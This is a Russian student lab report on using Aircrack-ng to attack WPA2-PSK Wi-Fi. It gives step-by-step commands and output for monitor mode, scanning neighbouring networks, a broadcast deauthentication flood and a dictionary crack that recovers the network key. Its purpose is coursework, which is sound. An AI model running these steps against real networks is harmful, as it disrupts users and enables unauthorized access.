

Лабораторная работа №6
Курс: Защита информации

Патраков Николай

25 сентября 2015 г.

Содержание

1	Цель работы	3
2	Ход работы	3
2.1	Изучить документацию по основным утилитам пакета – airmong, airodump-ng, aireplay-ng, aircrack-ng.	3
2.2	Запустить режим мониторинга на беспроводном интерфейсе .	3
2.3	Запустить утилиту airodump, изучить формат вывода этой утилиты, форматы файлов, которые она может создавать . .	4
2.4	Запустить сбор трафика для получения аутентификационных сообщений	5
2.5	Произвести деаутентификацию одного из клиентов, до тех пор, пока не удастся собрать необходимых для взлома аутентификационных сообщений	5
2.6	Произвести взлом используя словарь паролей	5
3	Выводы	7

1 Цель работы

Изучить основные возможности пакета AirCrack и принципы взлома WPA/WPA2 PSK и WEP.

2 Ход работы

2.1 Изучить документацию по основным утилитам пакета – airmon-ng, airodump-ng, aireplay-ng, aircrack-ng.

Aircrack-ng - набор программ, предназначенных для обнаружения беспроводных сетей, перехвата передаваемого через беспроводные сети трафика, аудита WEP и WPA WPA2-PSK ключей шифрования (проверка стойкости), в том числе пентеста (Penetration test) беспроводных сетей (подверженность атакам на оборудование и атакам на алгоритмы шифрования).

Программа работает с любыми беспроводными сетевыми адаптерами, драйвер которых поддерживает режим мониторинга (список можно найти на сайте программы). Программа работает в операционных системах Windows, UNIX, Linux и Mac OS X.

Версия для UNIX-подобных операционных систем имеет значительно бóльшую функциональность и поддерживает больше беспроводных адаптеров, чем Windows-версия. aircrack-ng был также портирован для платформ Zaurus и Maemo. Также программа была портирована для iPhone.

airmon-ng Выставления различных карт в режим мониторинга.

aireplay-ng Пакетный инжектор (Linux и Windows).

aircrack-ng Взламывает ключи WEP и WPA (Перебор по словарю).

2.2 Запустить режим мониторинга на беспроводном интерфейсе

```
airmon-ng start wlan0mon
```

```
Found 3 processes that could cause trouble.
```

```
If airodump-ng, aireplay-ng or airtun-ng stops working after  
a short period of time, you may want to kill (some of) them!
```

```
-e
```

```
PID Name
```

```
2221 NetworkManager
```

```
3392 wpa_supplicant
```

```
7009 dhclient
```

```
Interface Chipset Driver
```

```
wlan0mon Unknown rtl8192cu - [phy0]
(monitor mode enabled on [phy0]wlan0mon)
```

2.3 Запустить утилиту airodump, изучить формат вывода этой утилиты, форматы файлов, которые она может создавать

Запуск утилиты airodump:
airodump-ng wlan0mon

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
14:CC:20:BD:C6:38	-74	2	0 0	6	54e.	WPA2	CCMP	PSK	Fuck Off
64:70:02:39:49:68	-81	2	0 0	2	54e.	WPA2	CCMP	PSK	chert
EA:08:8B:B3:60:39	-77	1	0 0	1	54e.	WPA2	CCMP	PSK	TBOU_DED
A8:44:81:DC:6F:BE	-1	0	0 0	-1	-1				<length: 0
C4:6E:1F:FE:27:6A	-44	36	30 4	7	54e.	WPA2	CCMP	PSK	Cheeki Bree
2C:AB:25:5B:92:20	-41	15	599 91	13	54e.	WPA	CCMP	PSK	Rakama
C6:8E:8F:25:CC:AE	-58	6	0 0	13	54e.	WPA2	CCMP	PSK	DIRECT-aJ-B
F8:1A:67:8F:FB:A4	-62	38	0 0	3	54e.	WPA2	CCMP	PSK	lalok.net
90:F6:52:B8:88:44	-59	27	0 0	3	54e.	WPA2	CCMP	PSK	PRIVETPOKA AC:F1:DF:28:3B:AC
IP PSK 431			B0:38:29:1E:52:4B -59		20		0 0	1	54e. WPA2 CCMP PSK 322SOL0
0 6 54e WPA									9 0 1 22e. WPA2
74:D0:2B:44:14:A0	-68	20	0 0	4	54e.	WPA2	CCMP	PSK	Tra-La-La F8:1A:67:CB:48:D0
IP PSK 532 House									
58:12:43:AA:B4:C6	-70	18	0 0	1	54e.	WPA2	CCMP	PSK	YOTA
00:18:E7:EE:F0:D6	-69	6	1 0	8	54e.	WPA2	CCMP	PSK	Super_WI-FI
64:66:B3:33:AB:3A	-65	29	11 0	5	54e.	WPA2	CCMP	PSK	335

CH 1][Elapsed: 18 s][2015-09-25 02:42

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
A8:44:81:DC:6F:BE	-1	0	0 0	-1	-1				<length: 0>
C4:6E:1F:FE:27:6A	-43	61	34 0	7	54e.	WPA2	CCMP	PSK	Cheeki Breeki
2C:AB:25:5B:92:20	-51	31	944 60	13	54e.	WPA	CCMP	PSK	Rakama
B0:38:29:1E:52:4B	-58	37	0 0	1	54e.	WPA2	CCMP	PSK	322SOL0
C6:8E:8F:25:CC:AE	-58	11	0 0	13	54e.	WPA2	CCMP	PSK	DIRECT-aJ-BRAVIA
F8:1A:67:8F:FB:A4	-62	61	3 0	3	54e.	WPA2	CCMP	PSK	lalok.net
C8:3A:35:15:93:50	-59	38	3 0	6	54e.	WPA	CCMP	PSK	Tenda 159350
90:F6:52:B8:88:44	-62	53	0 0	3	54e.	WPA2	CCMP	PSK	PRIVETPOKA
AC:F1:DF:28:3B:AC	-61	33	0 0	2	54e.	WPA2	CCMP	PSK	431
C0:4A:00:A2:30:D6	-63	20	3 0	1	54e.	WPA2	CCMP	PSK	Natural0ff.net
64:66:B3:33:AB:3A	-65	39	13 0	5	54e.	WPA2	CCMP	PSK	335
74:D0:2B:44:14:A0	-66	26	0 0	4	54e.	WPA2	CCMP	PSK	Tra-La-La

Рис. 1: Запуск airodump-ng

При указании ключа `-write`, утилита создает набор файлов с заданным префиксом. Два из которых связаны с информацией о доступных сетях и представлены в двух форматах: `csv` и `xml`. Еще два файла содержат информацию о перехваченных пакетах. Файл типа `.cap` содержит перехваченные пакеты, в то время как `csv` содержит лишь сокращенную информацию. Стоит отметить, что `csv` - это формат хранения простой таблицы.

cap - можно открыть в дальнейшем через wireshark, в нем отображаются все пакеты.

2.4 Запустить сбор трафика для получения аутентификационных сообщений

airodump-ng wlan0mon -w new1 -bssid C4:6E:1F:FE:27:6A Так же можно указать канал используя ключ: -channel

```
CH 2 ][ Elapsed: 4 mins ][ 2015-09-25 01:52 ][ WPA handshake: C4:6E:1F:FE:27:6A
```

BSSID	PWR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
C4:6E:1F:FE:27:6A	-45	858	1353	0	7	54e	WPA2	CCMP	PSK Cheeki Breeki

BSSID	STATION	PWR	Rate	Lost	Frames	Probe
C4:6E:1F:FE:27:6A	24:C6:96:BF:7F:23	-33	9e-24e	0	471	Cheeki Breeki
C4:6E:1F:FE:27:6A	6C:70:9F:11:61:4C	-35	12e-24	0	28	
C4:6E:1F:FE:27:6A	84:7A:88:5B:20:FA	-47	54e-54e	0	417	
C4:6E:1F:FE:27:6A	74:E5:0B:CE:05:10	-43	12e- 9e	28	502	

Рис. 2: Запуск airodump-ng

2.5 Произвести деаутентификацию одного из клиентов, до тех пор, пока не удастся собрать необходимых для взлома аутенти-фикационных сообщений

```
root@kali:~# aireplay-ng wlan0mon --ignore-negative-one --deauth 150 -a C4:6E:1F:FE:27:6A
01:50:15 Waiting for beacon frame (BSSID: C4:6E:1F:FE:27:6A) on channel 7
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
01:50:16 Sending DeAuth to broadcast -- BSSID: [C4:6E:1F:FE:27:6A]
01:50:16 Sending DeAuth to broadcast -- BSSID: [C4:6E:1F:FE:27:6A]
01:50:17 Sending DeAuth to broadcast -- BSSID: [C4:6E:1F:FE:27:6A]
01:50:17 Sending DeAuth to broadcast -- BSSID: [C4:6E:1F:FE:27:6A]
01:50:17 Sending DeAuth to broadcast -- BSSID: [C4:6E:1F:FE:27:6A]
01:50:18 Sending DeAuth to broadcast -- BSSID: [C4:6E:1F:FE:27:6A]
01:50:18 Sending DeAuth to broadcast -- BSSID: [C4:6E:1F:FE:27:6A]
01:50:19 Sending DeAuth to broadcast -- BSSID: [C4:6E:1F:FE:27:6A]
01:50:19 Sending DeAuth to broadcast -- BSSID: [C4:6E:1F:FE:27:6A]
```

Рис. 3: DeAuth Broadcast

В результате перехватываем пакет handshake:

2.6 Произвести взлом используя словарь паролей

Так как используемый пароль слишком сложный, в некоторую часть словаря был вставлен искомый пароль. Команда: aircrack-ng -w /tmp/words.lst

```
CH 7 ][ Elapsed: 18 s ][ 2015-09-25 02:43 ][ WPA handshake: C4:6E:1F:FE:27:6A
```

BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
C4:6E:1F:FE:27:6A	-46	0	176	441 74	7	54e	WPA2	CCMP	PSK	Cheeki Breeki

BSSID	STATION	PWR	Rate	Lost	Frames	Probe
C4:6E:1F:FE:27:6A	84:7A:88:5B:20:FA	-32	54e-48e	261	362	
C4:6E:1F:FE:27:6A	74:E5:0B:CE:05:10	-50	0 -54e	2196	91	

Рис. 4: airodump-ng Handshake

-b C4:6E:1F:FE:27:6A /tmp/wpa2*.cap words.lst - файл с предполагаемыми паролями. Это может быть какой-либо сборник слов или же обычный словарь. wpa2.cap - файл airodump-ng который мы записали когда получили Handshake.

```
root@kali:~# aircrack-ng -w /tmp/words.lst -b C4:6E:1F:FE:27:6A /tmp/wpa2*.cap
Opening /tmp/wpa2-01.cap
Opening /tmp/wpa2-02.cap
Reading packets, please wait...
```

```

                                Aircrack-ng 1.2 rc2

                                [00:00:00] 4 keys tested (755.72 k/s)

                                KEY FOUND! [ 11101993 ]

Master Key      : 47 E1 B0 27 3F 2C 86 35 31 A8 EA 3A C7 8B F1 D9
                  58 7D 6E 6B F4 9A E6 A8 14 86 5C E5 82 BD 7C 98

Transient Key   : 99 40 D1 D2 84 C3 56 D1 56 19 B0 95 48 19 30 37
                  D8 70 40 72 23 04 69 1D B8 8A 5B 82 C2 04 09 4B
                  5C B0 1E 36 F3 75 F8 4B BC 5B 38 B0 7B 12 5A 9B
                  46 5B 54 C9 CD 82 E8 50 9C 82 20 AC 5D 72 40 49

EAPOL HMAC     : 3D E8 42 DB D7 65 3C D3 C5 96 52 13 1B 6D 88 3F
root@kali:~# █
```

Рис. 5: Работа Aircrack-ng

3 Выводы

В ходе данной работы были изучены основные возможности пакеты AirCrack и принципы взлома сетей WPA/WPA2 PSK. Данный инструмент позволяет прослушивать пакеты, генерировать новые и на основе handshake осуществлять взлом пароля сети. Стоит отметить, что пароли, отвечающие требованиям по безопасности трудоемко взломать. Таким образом, протокол WPA слабо уязвим относительно AirCrack и его методов взлома. В общем случае, следует отметить, что защита беспроводных сетей сложная задача и в качестве меры для базового обеспечения безопасности не следует использовать протокол WEP и простые пароли.